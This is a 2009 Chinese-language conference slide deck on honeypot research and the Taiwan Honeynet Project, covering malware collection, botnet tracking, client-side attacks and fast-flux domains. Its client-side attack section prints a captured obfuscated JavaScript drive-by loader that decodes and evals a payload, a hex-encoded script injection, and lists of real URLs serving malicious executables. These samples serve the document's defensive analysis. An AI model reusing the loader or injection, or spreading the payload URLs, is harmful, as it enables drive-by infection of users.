




# 資訊安全 誘捕技術與實務

蔡一郎


2009年9月9日



# Google me.

- 蔡一郎 Steven
- 學歷：國立成功大學電機工程研究所碩士
- 現任：國家高速網路與計算中心 資訊設施組組長
- 重要經歷：
  - 國際資安組織HoneyNet Project 正式會員
  - 國家高速網路與計算中心 副工程師
  - 國立成功大學研究發展基金會助理研究員
  - 崑山科技大學兼任講師
  - 自由作家
    - 電腦圖書著作33本
    - Linux Guide、NetAdmin專欄作家，計50餘篇
- 專業證照：
  - RHCE、CCNA、CCAI、CEH、CHFI、ACIA、ITIL Foundation、ISO 27001 LAC、ISO 20000 LAC






# About me.


- 鄭毓芹 Julia
- 學歷：國立成功大學電腦與通訊工程研究所
- 現任：國家高速網路與計算中心 助理研究員
- 重要經歷：
  - 國立成功大學電腦與通訊工程博士班
  - 中研院前瞻資安技術跨國合作計劃 博士級研究員
  - 國際資安組織Honeynet Project 正式會員
  - Taiwan Honeynet Project
- 專長：資訊安全、系統安全、誘捕技術、惡意程式分析
- 專業證照：
  - ITIL Foundation 3






# 大綱:

- The Honeynet Project
- Honeypot / Honeynet technology
- Taiwan Honeynet Project
- Research Project and Achievements
- Client Honeypot – Capture-HPC
- Summary



# The Honeynet Project

- All volunteer organization of security professionals dedicated to researching cyber threats by deploying networks around the world to be hacked.
- **Mission Statement:**  
To learn the tools, tactics, and motives of the blackhat community, and share the lessons learned.





# The HoneyNet Project (Cont.)

## ■ Goals:

- **Awareness:** To raise awareness of the threats that exist.
- **Information:** For those already aware, teach and inform about the threats.
- **Research:** To give organizations the capabilities to learn more on their own


<http://www.honeynet.org>






# The Honeynet Project (Cont.)

## ■ Honeynet Project History:






# The Honeynet Project (Cont.)


- Value of the Project:
  - Totally open source, sharing all of our work, research and findings.
  - Everything we capture is happening in the wild (there is no theory)
  - Made up of security professionals from around the world
  - No agenda, no employees, nor any product or service to sell.






# The Honeynet Project (Cont.)

- Project Organization
  - Not-profit (501c3) organization
  - Board of Directors
  - Diverse set of skills and experiences.
  - Team works virtually, from around the world.






# The Honeynet Project (Cont.)


- Honeynet Research Alliance
  - The Alliance is a forum of organizations around the world actively researching, sharing and deploying Honeynet technologies.

<http://www.honeynet.org/alliance/>




# The Honeynet Project (Cont.)

- Alliance Members:
  - South Florida Honeynet Project
  - SAIC Wireless Honeynet
  - netForensics Honeynet
  - Azusa Pacific University
  - Paladion Networks Honeynet Project (India)
  - Internet Systematics Lab Honeynet Project (Greece)
  - AT&T Mexico Honeynet (Mexico)
  - Honeynet BR (Brazil)
  - Irish Honeynet (Ireland)





# The Honeynet Project (Cont.)

- 2009 Annual Workshop:
  - 2009年2月25日至2月28日於馬來西亞吉隆坡舉辦
  - 全球共70人參與 (Closed Meeting)
- 會議中討論:
  - 共15個國家介紹目前研究發展現況，組織運作現況
  - 訂定重要的R&D計畫，跨國共同合作
  - 技術交流，經驗與研究分享 (Share Lesson Learned)
  - 讓各支會成員互相交流，建立Trusted Relationship
  - Hands-on Training Courses



# 2009 Annual Workshop





# Honeypot/Honeynet Technology

- Honeypot General Purpose :
  - Designed operation systems and services around your networks to be probed and hacked.
  - All data collected is of high value and unpolluted
- What is Honeypot ? (單點)
  - Honeypot 為一個設計為運作中且無營運價值之系統，被用來當作駭客攻擊目標，用來學習駭客活動與行為，並收集網路威脅的相關資訊
  - 運作模式: 模擬特定的服務與作業系統來運作，並對進出的資料進行監控、捕獲，提供研究分析



# Honeypot/Honeynet Technology (Cont.)



- **Honeypot :**
  - Designed operation systems and services around your networks to be probed and hacked.
  - All data collected is of high value and unpolluted
- **Advantages:**
  - Reduce false negatives and false positives
  - Collect little data, but data of high value
  - Minimal resources
- **Disadvantages:**
  - Limited field of view (microscope)
  - Risk to be compromised.



# Honeytrap/Honeytrap Technology (Cont.)



## ■ **What is a Honeytrap ?**

- High-interaction honeytrap
- It is an architecture, not a product or software
- Populate with live systems
- Once compromised, data is collected to learn the tools, tactics, and motives of the blackhat community.

## ■ **Value of Honeytrap**

- Research : Identify new tools and new tactics, Profiling blackhats
- Early warning and prediction
- Incident Response / Forensics
- Self-defense





# 技術演進過程

## Honeypot

●1998 ~ 迄今

- 工具：Honeyd, VoIP Pot, SpamPot, WirelessPot, Google Hack Pot, HIHAT
- 模擬不同功能與Service之系統，收集不同種類駭客攻擊行為

## Honeynet

●2002 ~ 迄今

- 工具：Honeywall CD-ROM , HoneyStick
- 提供完整的（誘捕）網路架構，並對進出之網路流量進行監控與收集

## Client Honeypot

●2005 ~ 迄今

- 工具：HoneyC , Capture-HPC, HoneySpider, HoneyClient
- 模擬使用者網站瀏覽行為，探測惡意網站

## Malware Honeypot

●2006 ~ 迄今

- 工具：Nepenthes, Honeytrap
- 模擬系統弱點，系統與惡意程式交談過程，收集惡意程式

## GDH 2

●2004 ~ 迄今

- 工具：GDH1, GDH2
- 架設Global Distributed Honeypot，收集全球攻擊事件，建立資料共享機制

# 誘捕工具功能分類：

- **Honeymole:** Setup Honeyfarm multiple sensors that redirect traffic to a centralized collection of honeypots.
- **Honeywall CD ROM:** Create a network architecture for capturing attacks
- **Honestick:** It includes both the Honeywall and honeypots from a single, portable device

- **Honeyd:** Low-interaction used for capturing attacker activity
- **Honeytrap:** Capture Novel attacks against network services

- **Google Hack Honeypot :**
- **HIHAT:** transfer PHP application to Honeypot

- **Nepenthes:** emulate known vulnerabilities to download malware

- **HoneyC:** Low interaction Client Honeypot
- **Capture-HPC:** High-Interaction Client Honeypot

- **Capture-BAT:** Win32 Operation System Behavior Analysis Tool

- **Honeysnap:** Used for extracting and analyzing data

- **Tracker:** Used to find domains resolving, track hostname → IP

- **Pehunter:** grabs Windows executables off the network

誘捕工具

Network

Connection

Web App.

Malware

Client-Side

分析工具

Behavior

PCAP file


DNS

EXE file

# HoneyPot/Honeynet Technology (Cont.)



- Hot Topics :
  - GDH2 : Global distributed honeypot II
  - Malware Collection Honeypot
  - Client Honeypot for exploring malicious web server
  - Fast-flux domain tracking
  - Botnet detection and community tracking



# Taiwan Honeynet Project

- 於2008年9月申請加入HoneyNet Project國際組織，11月27日獲HoneyNet Project同意，成立**台灣HoneyNet Project支會**(HoneyNet Project Taiwan Chapter)

Julia Cheng

---

主旨: Taiwan HoneyNet Project on Board

Dear Ms. Yu-Chin Cheng,

This is an approval letter. Taiwan Chapter is committed and approved by Board Of Directors of HoneyNet Project. HoneyNet Project would be most excited to have you form a Taiwan honeyNet chapter.

AGREED by THE HONEYNET PROJECT


Name: Lance Spitzner

Title: CEO, The HoneyNet Project

Date: 27 Nov. 2008




<http://www.honeyNet.org.tw>




# Taiwan Honeynet Project (Cont.)

- 目標：
  - 積極參與Honeynet Project跨國資安研究發展合作計畫，並成為全球網路攻擊資料收集與監控網之一環
  - 大量建置分散式誘捕網路於台灣區學術網路，用於收集現行網路攻擊與惡意程式，分析網路威脅趨勢，協助制訂防禦政策
  - 開闢關鍵性資安研究計畫，與國內產學界進行研發合作，改善台灣資安現況
  - 舉辦教育訓練，推廣誘捕技術，提升產學界資安能量



# Taiwan Honeynet Project (Cont.)


- 主要執行工作:
  - 服務提供:
    - 教育訓練: 誘捕技術推廣與教學
    - KYE 技術文件中文重點摘要
    - 誘捕工具安裝與使用重點說明
    - 定期攻擊趨勢報告
    - 擔任HoneyNet Project 台灣區溝通橋梁
  - 技術研發與部署:
    - Honey-Driven Botnet Community Detection
    - Malware Collection Install CD-ROM 發展
    - Malware Collection Technology and DB Setup
    - Malicious Web Server Identify (Mal-Web Explorer)
    - Hacked finder using Google Code
    - GDH2 deployment



# Taiwan Honeynet Project (Cont.)

- 支援國內重點發展計畫：
  - Botnet研發與偵測相關計畫
  
- 國際合作：
  - Honeynet Project攻擊資料分享與 Critical Attacking通報
  - mwcollect.org 惡意程式資料庫 資料分享
  - 參與GDH2 (Global Distribution Honeynet )研究計畫，成為全球誘捕偵測網之一環，目前為亞洲區GDH2聯絡中心
  - 參與Honeyclient Improvement





# Hacker's Community :

- Malicious Web + RFI + Fast-Flux+ Phishing = 完整的駭客社群金流體系

The screenshot shows the Sedo website interface. At the top, there is a navigation bar with links for '首页', '个人信息', '域名停放', '域名服务', '域名FAQ', '关于我们', and '我的Sedo'. Below the navigation bar, there is a search section with the text '搜索超过一百万的待出售域名:' and a search input field with a 'search!' button. To the right, there is a section titled '域名拥有者: 从这里开始' with a 'Start Now!' button and a signpost graphic with 'PARK' and 'SELL' directions. Below the search section, there are two tables: '特色域名' (Featured Domains) and 'Featured Auctions'.

特色域名	出价
allmaps.net	出价
real-est.com	出价
arroba.info	出价
cristiano.at	500 EUR
fantasyfootballfc.com	8,800 €
retiree.de	出价
bastaya.es	950 EUR
ebookstore.mobi	出价
alnaddy.com	出价

Featured Auctions	时间	价格
rishtey.com	4d 0h	500 \$US
fanboxes.com	3d 3h	300 \$US
syfe.com	4d 5h	310 \$US
gp4.com	2d 1h	240 \$US
9jw.com	1d 1h	222 \$US
prescriptiondrugswith...	1h 42m	250 \$US
gridsrus.com	2h 52m	500 \$US
goldbux.com	3h 49m	200 \$US
juise.com	5h 12m	110 \$US



將Malicious Code植入Page，

1. 使用者瀏覽網頁，即下載惡意程式，中毒



1. 利用RFI弱點，下載惡意Scripts，Site A變成駭客的Host Proxy，駭客可透過A控制Bot

網頁掛馬

回報IP，Email，使用者帳號，作業系統，CPU，MSN (Web, Smtip)

回報站

下載更多惡意程式

2. 建立Malware File Server

Compromise Web A

Malicious Web Site B1

洩漏隱私性資料

Malicious Web Site B2

Malicious Web Site B3


Phishing Web Site C1

Phishing Web Site C2

寄發內含釣魚連結假冒信件


SMTP Server

SMTP Server



# Research Project – 資安現況


- **全球威脅**：鑒於全球網路威脅盛行，駭客已組成全球化之攻擊合作社群，單從區域性之攻擊行為之收集與分析，已無法成功了解攻擊全貌。
- **駭客攻擊手法改變**：駭客多使用分享式網站平台(如:Google協力平台, Blog、無名小站)形成釣魚站台，並利用網站掛馬與垃圾郵件大量散佈惡意連結，導致使用者遭受感染並取得控制權，形成大規模之殭屍網絡與惡意釣魚網站。
- **惡意程式分析不易**：惡意程式具反偵測分析機制，加密、隱藏機制，惡意程式分析難易度提升，導致防毒軟體病毒碼更新速度不及，偵測效能低落。
- **快速變動網域(Fast-Flux Domain)威脅**：全球殭屍網絡活動盛行，駭客利用Fast-Flux Domain技術來隱藏其行蹤，提升C&C站台的存活率，避免被執法單位查獲。





# Research Project and Achievements


- Large-Scale VM-based Honeynet Deployment
- Malware Collection and Analysis
- Honey-Driven Botnet Detection
- Client –Side Attack:
  - Malicious Web Server Exploring
  - RFI Scripts Detection
- Fast-Flux Domain Service Tracking
- Research Alliance :  
Distributed Search and Analysis on Honeynet Data

# Large-Scale VM-based HoneyNet Deployment




- Large-Scale HoneyNet Deployment over **six class C** networks





# Large-Scale VM-based HoneyNet Deployment (Cont.)

- Deploy honeyNet over 6-class C including honeypot :
  - Malware Collection Sensors: **30**
  - Web honeypots : **3**
  - High-Interaction honeypots: **16**
  - Low-Interaction honeypot : **8**
- Information from HoneyNet
  - **770 MB Logs** (to be analyzed) a day on average
  - **434,204 Connections** (to honeyNet) a day on average
  - **2.04G Traffic Flow** (to honeyNet) a day on average
  - **22** Log Files and format
- Integrated into Virtual Machine platform
  - 易於管理與大量部屬
  - 困難點 1: 如何導入不同網段攻擊流量於honeyNet
  - 困難點 2: 有限資源分配以求達到最大部屬量(CPU、Storage、RAM)




# Large-Scale VM-based HoneyNet Deployment (Cont.)

- 資料分析，採用 Information Search 技術
  - 所要解決的問題
    - 大量的資訊必須即時處理
    - 能減少程式開發的時間
    - 須快速反應並與資訊安全管理平台整合
  - 解決方案: 搜尋引擎 + Security Knowledge
    - 以 Indexing 取代資料庫，有效率進行分散式的資訊探勘
    - 避免關聯式資料庫的運算瓶頸
  - 優點:
    - 資料分析效率佳: 對 240G Log 資料分析，可於 5 分鐘內完成
    - 資料關聯能力: 可同時對多種不同 Log 資料，進行關聯分析


## 2. Malware Collection and Analysis

- Malware Collection : **10695** unique samples from Taiwan
  - 收集來源:
    1. **Automatic Spreading Malwares** from malware collection sensors
    2. **Malicious Websites** from Client Honeypots (client-side attack, RFI )
    3. **Three-Party Upload** from other chapters and security organizations

■ 惡意程序分類









## 2. Malware Collection and Analysis (Cont.)

- 惡意程式變種統計:
  - 變種數越多，代表惡意程式活躍度越高，
  - 惡意程式具網路通訊能力(ex.bot)，變種能力越強
  - 最新變種之惡意程式，57%具有fast-flax現象





# 2. Malware Collection and Analysis (Cont.)

## Malware List

Taiwan Honeynet Project Dashboard - Windows Internet Explorer

http://mychart/

Taiwan Honeynet Project Dashboard

Home Malware Collection Honeynet Flow Botnet Detection


上次更新: 日期 20090706 時間 01:56

No.	Malware MD5	Size	First Found	Antivir Alert	Spread Times	Detection Rate	Virus Scanner	Report
1403	57ef739a9e32d0ba40debase30cff67c	85K	2009-06-30 18:47	W32/Virut.AX	1	...		
1402	14a09a48ad23fe0ea5a180bee8cb750a	155K	2009-06-29 10:54	WORM/Rbot.147456.27	3	...		
1401	1d419d615dbe5a238bbaa569b3829a23	156K	2009-06-29 10:54	WORM/Rbot.147456.27	2	...		
1400	1f8a826b2ae94daa78f6542ad4ef173b	152K	2009-06-29 10:54	WORM/Rbot.147456.27	6	...		
1399	2f108da92df075e7a71bb020ea3a8611	119K	2009-06-29 10:54	W32/Virut.AX	2	...		
1398	329483bfaf7722fb7aa53cfadb2e74c3	93K	2009-06-29 10:54	W32/Virut.AX	1	...		
1397	349c30ed753077ef39ab88417a3b2c2e	140K	2009-06-29 10:54	TR/Crypt.MWPM.Gen	5	...		
1396	34c33016095ceff453e5bb2d45f188c5	145K	2009-06-29 10:54	DR/Delphi.Gen	11	...		
1395	3f86754b29c2b74d43dc4e3958637697	91K	2009-06-29 10:54	W32/Virut.AX	1	...		
1394	5f516ede0a265c6d3ab6498854ec08e5	1.1M	2009-06-29 10:54	W32/Virut.AX	1	...		
1393	6bd6c1ff73c3253833c8bfd9a227594	84K	2009-06-29 10:54	TR/Spy.Games.A	1	...		
1392	7bb70a39ad430c5a3a3db962f867586f	274K	2009-06-29 10:54	W32/Virut.AF	2	...		
1391	8bf0d26f2dd75380587fa3a2abcb2b0a	93K	2009-06-29 10:54	W32/Virut.AX	4	...		
1390	92aef1baa048628d659b600de3d0820d	1.1M	2009-06-29 10:54	W32/Virut.AT	1	...		
1389	98eb0fdadf8a403c013a8b1882ec986d	150K	2009-06-29 10:54	WORM/Rbot.147456.27	2	...		
1388	9e00734e36f3b25266390b066f3372dc	481K	2009-06-29 10:54	WORM/Rbot.cga	120	...		
1387	a15f571a5599094bb5a017f4d4d47eb4	34K	2009-06-29 10:54	WORM/Korgo.R	2	...		
1386	a2bf71ed94580d2e957b550c9aae1490	147K	2009-06-29 10:54	WORM/Rbot.147456.27	1	...		
1385	a2eb1bb8cf045236f638dd8619ee9b5b	91K	2009-06-29 10:54	W32/Virut.AX	1	...		
1384	a45b7f04ef1f3995653218bd3b807f72	90K	2009-06-29 10:54	W32/Virut.AB	3	...		




Total: 1403 Records. Current: 1/71 page

網際網路 | 受保護模式: 關閉

# 2. Malware Collection and Analysis (Cont.)



- Malware Analysis:
  - **Unique Sample Analysis:**
    - Antivirus Scanner Detection
    - Spreading Information
    - Behavior Analysis (Registry, Process, File, Network Activities)



# 2. Malware Collection and Analysis (Cont.)



- Malware Family Analysis :
  - 針對每一種不同的Malware Family關聯分析，藉此找出Botnet Community特性、感染擴散趨勢、變種趨勢


No.	Malware Family	Variant	Description	Variant List by Antivir Alert	Malware Samples	Attacker Country
56	WORM/Zotob	1		WORM/Zotob.E	2	🇵🇪 🇮🇹
55	WORM/WootBot	2		WORM/WootBot.GB WORM/WootBot.mw.4	2 1	🇧🇪 🇨🇦 🇷🇺
54	WORM/VanBot	1		WORM/VanBot.EJ.26	1	🇨🇵
53	WORM/Spybot	1		WORM/Spybot.31232	2	🇺🇸
52	WORM/SdBot	1		WORM/SdBot.JUI	2	🇷🇺 🇰🇷
51	WORM/Sasser	6		WORM/Sasser.A.14	1	🇷🇺 🇺🇸 🇩🇪 🇮🇹
				WORM/Sasser.B	2	🇷🇺 🇺🇸 🇩🇪 🇮🇹
				WORM/Sasser.C	4	🇺🇸 🇯🇵 🇩🇪 🇮🇹
				WORM/Sasser.D	2	🇷🇺 🇺🇸 🇩🇪 🇮🇹
				WORM/Sasser.E	9	🇷🇺 🇺🇸 🇩🇪 🇮🇹 🇰🇷
				WORM/Sasser.3.5	2	🇷🇺
50	WORM/Rbot	8		WORM/Rbot.147456.27	22	🇺🇸 🇯🇵 🇩🇪 🇮🇹 🇰🇷
				WORM/Rbot.188416.6	12	🇷🇺 🇺🇸 🇩🇪 🇮🇹
				WORM/Rbot.210944	4	🇺🇸 🇯🇵 🇩🇪 🇮🇹
				WORM/Rbot.2141184	4	🇺🇸 🇯🇵 🇩🇪 🇮🇹
				WORM/Rbot.327680.9	3	🇺🇸 🇯🇵 🇩🇪 🇮🇹
				WORM/Rbot.553984	4	🇺🇸 🇯🇵 🇩🇪 🇮🇹
				WORM/Rbot.Gen	2	🇷🇺

台灣特有惡意程式，防毒軟體偵測率約20%


Malware MD5	Attacker IP/Malicious Website
003d680f268571e8d435cff15bc064d	93.81.11.1
01e3262f4ebba3f365d592dfa030edd6	89.179.1.1
0c7a4a740934241dfe5a82509a05ac	114.48.1.1
0cb548d55817ea0f855217710104b99d	61.67.2.1
13f0725442a6c627c51e1eb5a39b9ff2	89.179.1.1
1557006f69285c9ede95cada292594d1	83.97.1.1
178cea25e078de3e2d0de892fd416f02	114.108.1.1
189ec79ebbf0fb189b3edbf2bbf11f	213.188.1.1
199c180f2d8e82b77ab02b98703fe01	69.30.1.1
1bebbe1e398adff9baab1962ec5827e0	89.179.1.1
1d0cc3afbcc644e7dc45c43b96216fa1	194.135.1.1
1f692cb5383e1c4fa118db3a6385cd18	95.24.2.1
240e0c69a34ef0baace665400fa884f9	174.32.1.1
249b722d8de844876d74077d3dcaec96	121.140.1.1 211.169.1.1


觀察Rbot Family，可了解此Family在全球擴散嚴重度，許多受害主機因WORM/Rbot.553948 感染成為Bot。

也可收集到許多台灣特有的惡意程式，與不同的變種特性



## 2. Malware Collection and Analysis (Cont.) From Malware to Botnet





# 3. Honey-Driven Botnet Detection Bot Analysis In Taiwan

分為三大類: Bot Master, Education Bot, 其他Bots



多數Bot 來自於dynamic.hinet.net

Bot Master/Malware-Related File Server in Taiwan( Total: 1 )

No.	Bot IP	Domain	Malware samples	Spreading Times	Honeypot Attacked	Details
1	61.6	kbte...t.tw	102	841	77	

Bot Info

No.	Bot IP	Domain	Malware samples	Spreading Times	Honeypot Attacked	Details
7	140.	47 spe...	1	4	1	
6	140.	33 Dorr...	1	58	1	
5	140.	90 cs.n...	1	6	2	
4	140.	59 ...	1	111	2	
3	140.	18 che...	1	19	18	

Total: 7 Records    Page: 1/2

Education Network ( Total: 7 )

No.	Bot IP	Domain	Malware samples	Spreading Times	Honeypot Attacked	Details
7	140.	47 spe...	1	4	1	
6	140.	33 Dorr...	1	58	1	
5	140.	90 cs.n...	1	6	2	
4	140.	59 ...	1	111	2	
3	140.	18 che...	1	19	18	


GoTo: 1 Page Per Page: 5

Other Botnet ( Total: 238 )


No.	Bot IP	Domain	Malware samples	Spreading Times	Honeypot Attacked	Details
238	114.	5 dyna...	1	1	1	
237	114.	93 dyna...	1	723	470	
236	114.	23 dyna...	1	422	294	
235	114.	36 HINI...	1	1	1	
234	114.	2 dyna...	1	1	1	

# 3. Honey-Driven Botnet Detection


## Bot Analysis In Global




Global Bot Infections Map: ( 1993 bot infections in total. ) ( 12 malware-related file servers. )




# 3. Honey-Driven Botnet Detection C & C Distribution



C&C Domain Distribution Map: ( 82 C&C IP in total on 20090816 )









## 4. Client-Side Attack

- **Client-Side Attack:** 當用戶端應用程式(Client Application)與Malicious Server相互交談時(Interact)，攻擊Client Application 弱點，或是誘使Client Application執行惡意程式。
  - 任何Client/Server 架構之服務，都可能導致
  - Web Browser, FTP, Email, MSN, Multimedia Stream
  - 現行之Firewall/IPS/Proxy之防禦方式，難以偵測





# 4. Client-Side Attack (Cont.)

## 1. 植入Exploit，並進行Obfuscation。

( encoding, dynamical content with Javascript, functions)




```
function xyCUZPo(WTJosN1) {var mlaFz="";var
VZcRAbu="ABCEFGHIJKLMNOPQRSTUVWXYZ";VZcRAbu=(VZcRAbu.toLowerCase())+'01234567
89+/=';for (var Kpnki=0;Kpnki<WTJosN1.length;Kpnki+=4) {var
pySpi=VZcRAbu.indexOf(WTJosN1.charAt(Kpnki+2));var
HUjYVVi=VZcRAbu.indexOf(WTJosN1.charAt(Kpnki));var
zAGpn=VZcRAbu.indexOf(WTJosN1.charAt(Kpnki+3));var
CbTCB=VZcRAbu.indexOf(WTJosN1.charAt(Kpnki+1));mlaFz+=String.fromCharCode((MUjYVVi<<2)|(
CbTCB>>4));if (pySpi!=64)mlaFz+=String.fromCharCode(((CbTCB&15)<<4)|(pySpi>>2));if (zAGpn!
=64)mlaFz+=String.fromCharCode(((pySpi&3)<<6)|(zAGpn));eval(mlaFz);}xyCUZPo("CQogZnVvY3Rp
b24qbyh4aHRQd00sdlhla01MbZ9aK0t2YKIgVr95cFRGS1I9Jyc72ma9yKHZhciBSSHFOUI9MDtSSHFOUI8eGh0
UhdNlml1bmd0aDtSSHFOUIrPWFy23WtZWS0cy5jY0xsZUWudG9TdHjpbmcoKS5y2X8sYWN1KCSccy9hLCIiKSS5
ZUSndGctNzQSF0ctw0h1FRm9vQTOodlhla1UpVW.....
MybZmaY0roLHUpaGoyMjP3TFERL1U9PjBVND8/ZjAoRkswSSVjNDYzC1A2T3VQaTcyHFQ/Y3cmLCJwa3VjC0gsdT
1cUo9VfHjbl1EVTq1HLU4fXWVZYSdVtLHJQatZsxnRjOUspPy8mKyc3NjNVP0o2mSoaks9RiV1NFUwVTdrL1
U9bqVOCUsSDVhSy90JSSVKSUSI3MoelN0aS40c216VTq1LPUVS....
V1Y3NI1HU9bqMChcSbJJMMONi1VOD23VkmYUcONjNVNGFKSEhbZSNMwQdLME1EMikrU0hhMOpVdiYsI1EpRk
spaEZVKSYSSTQ2H1U0YUJcyf6MjBUek9dEyMHRtSskv8kgwM29LPuzTIOShdktkJTc5T2kzNDBZQUUwV0e1o3
E1Zm5JT2NMU21NFVsmMqVn3VPYU9jTck1Vt0P0swTF1c01LcRqN2MwJysndGRITCh2MjBCak1Oa0...omPSH
oXmLUwPyVVWny73SSk2Ym2PbDdlb3B1VtCzMCNQVWVMFRr2jE3enJFVWVLEUKiMjcmM0w0VS1a...eSE9VZVVWvYX
cyfCAtVTdrLj163i4nLCc2aTQ4bQ9KVVhdWYvaDlycF1QNDu0xII2NLKlnIiwAP...jBcRHdx2S2RU0fQKE
96JTFpk3khY15Sty1HJyk7?");</script>
```


Drive-by-download

## 2. Redirect

```
window.open()
window.location.href()
<meta http-equiv="refresh" content="...">
```


## 3. 執行Exploit Code





## 4. Client-Side Attack (Cont.)

- Drive-by-download (瀏覽即下載): 在使用者不知情或是不了解知情情況下，下載惡意程式於用戶端電腦當中。
  - Enable Active-X Component
  - 瀏覽E-mail，網頁，橫幅廣告，被導向惡意連結  
下載惡意程式



## 4. Client-Side Attack (Cont.)

- Malicious Web Exploring :
  - Taiwan Honeynet Project 採用主動式Client Honeypot技術，探測惡意網站，解析網頁掛馬，破獲Botnet中繼站與檔案伺服器。
  - 建立惡意網域黑名單，監控網路黑名單之變動情形。

```
visiting.txt (~桌面/web_malware)
檔案(E) 編輯(E) 檢視(V) 搜尋(S) 工具(T) 文件(D) 求助(H)
新增 開啟 儲存 列印... 復原 取消復原 剪下 複製 貼上 尋找 取代
visiting.txt
MaUrl:
http://www.bit361.com/
http://www.bit361.com/bbs
<script src=http://%77%2E%6A%73%67%75%61%6E%67%6A%69%2E%63%6E></script>
<script src=http://%77%2E%6A%73%67%75%61%6E%67%6A%69%2E%63%6E></script>
[wide]http://www.bit361.com/
[script]http://%77%2E%6A%73%67%75%61%6E%67%6A%69%2E%63%6E
[frame]http://w.jsguangji.cn/03.htm
[frame]http://w.jsguangji.cn/456.htm
[script]http://w.jsguangji.cn/1.jpg
[script]http://w.jsguangji.cn/2.jpg
[script]http://w.jsguangji.cn/3.jpg
[script]http://w.jsguangji.cn/4.jpg
[script]http://w.jsguangji.cn/5.jpg
[script]http://w.jsguangji.cn/6.jpg
[script]http://w.jsguangji.cn/7.jpg
[script]http://w.jsguangji.cn/8.jpg
[script]http://w.jsguangji.cn/9.jpg
[script]http://w.jsguangji.cn/10.jpg
[script]http://w.jsguangji.cn/11.jpg
[frame]http://w.jsguangji.cn/dex.html
[script]http://w.jsguangji.cn/click.js
[script]http://js.tongji.linezing.com/1209024/tongji.js
http://w.taogu.org.cn/a.exe
```

```
xx.txt
1:http://xiqij13.cn/xmm/a1.exe
1:http://xiqij13.cn/xmm/a2.exe
1:http://xiqij13.cn/xmm/a3.exe
2:http://xiqij13.cn/xmm/a4.exe
1:http://xiqij13.cn/xmm/a5.exe
2:http://xiqij13.cn/xmm/a6.exe
2:http://xiqij13.cn/xmm/a7.exe
2:http://xiqij13.cn/xmm/a8.exe
1:http://xiqij13.cn/xmm/a9.exe
1:http://xiqij13.cn/xmm/a10.exe
2:http://xiqij13.cn/xmm/a11.exe
1:http://xiqij13.cn/xmm/a12.exe
1:http://xiqij13.cn/xmm/a13.exe
1:http://xiqij13.cn/xmm/a14.exe
1:http://xiqij13.cn/xmm/a15.exe
1:http://xiqij13.cn/xmm/a16.exe
1:http://xiqij13.cn/xmm/a17.exe
1:http://xiqij13.cn/xmm/a18.exe
2:http://xiqij13.cn/xmm/a19.exe
2:http://xiqij13.cn/xmm/a20.exe
2:http://xiqij13.cn/xmm/a21.exe
2:http://xiqij13.cn/xmm/a22.exe
2:http://xiqij13.cn/xm/cj/gg.exe
1:http://xiqij13.cn/xm/cj/ig.exe
1:http://xiqij13.cn/xm/cj/lc.exe
1:http://xiqij13.cn/xm/cj/ie.exe
2:http://xiqij13.cn/xm/cj/svchost.exe
```

Temporary Internet Files

網路位址 C:\Documents and Settings\HPC\Local Settings\Temporary Internet Files

名稱	網路網路位址	類型	大小	到期日	上次修改日期	上次存取日期	上
style_3_commo...	http://www.horou.com/forumdata/...	Cascading Styl...	39 KB	無	2009/8/4 下午 10:...	2009/8/5 下午 06:...	2009
CAWINDO WS\system32\cmd.exe							
TCP	192.168.245.130:139	0.0.0.0:0					Listening
TCP	192.168.245.130:2401	222.186.12.43:80					ESTABLISHED
TCP	192.168.245.130:2403	222.216.28.125:80					ESTABLISHED
TCP	192.168.245.130:2404	222.173.188.48:80					ESTABLISHED
TCP	192.168.245.130:2406	121.198.94.241:80					ESTABLISHED
TCP	192.168.245.130:2407	174.37.105.123:80					ESTABLISHED
TCP	192.168.245.130:2416	222.184.252.149:80					ESTABLISHED
TCP	192.168.245.130:2418	123.196.117.6:80					ESTABLISHED
TCP	192.168.245.130:2420	220.181.6.175:80					ESTABLISHED
TCP	192.168.245.130:2424	220.181.6.175:80					ESTABLISHED
TCP	192.168.245.130:2433	202.75.219.217:80					ESTABLISHED
TCP	192.168.245.130:2439	202.75.219.217:80					ESTABLISHED
TCP	192.168.245.130:2456	222.216.28.52:80			2009/7/6 下午 12:...	2009/8/5 下午 06:...	2009
TCP	192.168.245.130:2472	59.108.63.57:80			2009/7/23 上午 0:...	2009/8/5 下午 06:...	2009
TCP	192.168.245.130:2488	115.28.248.18:80			2009/7/23 上午 0:...	2009/8/5 下午 06:...	2009
TCP	192.168.245.130:2491	115.28.248.18:80			2009/7/23 上午 0:...	2009/8/5 下午 06:...	2009
TCP	192.168.245.130:2492	72.14.203.138:80				2009/8/5 下午 06:...	2009
TCP	192.168.245.130:2498	203.171.230.2:80				2009/8/5 下午 06:...	2009
TCP	192.168.245.130:2500	116.255.131.5:80				2009/8/5 下午 06:...	2009
TCP	192.168.245.130:2502	202.64.251.174:80				2009/8/5 下午 06:...	2009
TCP	192.168.245.130:2505	59.46.69.146:80				2009/8/5 下午 06:...	2009
TCP	192.168.245.130:2507	58.60.13.186:80			2008/11/25 上午 ...	2009/8/5 下午 06:...	2009
TCP	192.168.245.130:2508	211.157.104.136:80			2008/7/7 下午 04:...	2009/8/5 下午 06:...	2009
TCP	192.168.245.131:139	0.0.0.0:0			2007/4/17 下午 0:...	2009/8/5 下午 06:...	2009
UDP	0.0.0.0:445	*:*			2009/6/20 下午 0:...	2009/8/5 下午 06:...	2009

index.php?m=ji... http://www.baidu.com/index.php?... HTML Docum... 4 KB 2009/8/5 下午 05:...

gs.gif http://img.baidu.com/img/gf... GIF 影像 1 KB 2019/8/3 下午 06:...




baidu\_logo.gif http://www.baidu.com/img/baidu... GIF 影像 2 KB 2019/8/3 下午 06:...


bdun\_bse?m=dd... http://unstat.baidu.com/bdun\_bse?... HTML Docum... 14 KB 無

sslm\_logo.gif http://www.baidu.com/img/sslm\_l... GIF 影像 2 KB 2019/8/3 下午 06:...


s?wd=zasp&t=... http://www.baidu.com/s?wd=%C1... HTML Docum... 28 KB 無


bdsg.js?m=1.1... http://www.baidu.com/js/bdsg.js?... JScript Script ... 8 KB 無





# 5. Fast-Flux Domain Service





# Fast-Flux Domain Service

First  
Lookup

```
;; ANSWER SECTION:
thearmynext.info. 600 IN A 69.183.26.53
thearmynext.info. 600 IN A 76.205.234.131
thearmynext.info. 600 IN A 85.177.96.105
thearmynext.info. 600 IN A 217.129.178.138
thearmynext.info. 600 IN A 24.98.252.230
```

Low TTL

Different  
Network  
Ranges

Second  
Lookup after  
TTL expired

```
;; ANSWER SECTION:
thearmynext.info. 600 IN A 213.47.148.82
thearmynext.info. 600 IN A 213.91.251.16
thearmynext.info. 600 IN A 69.183.207.99
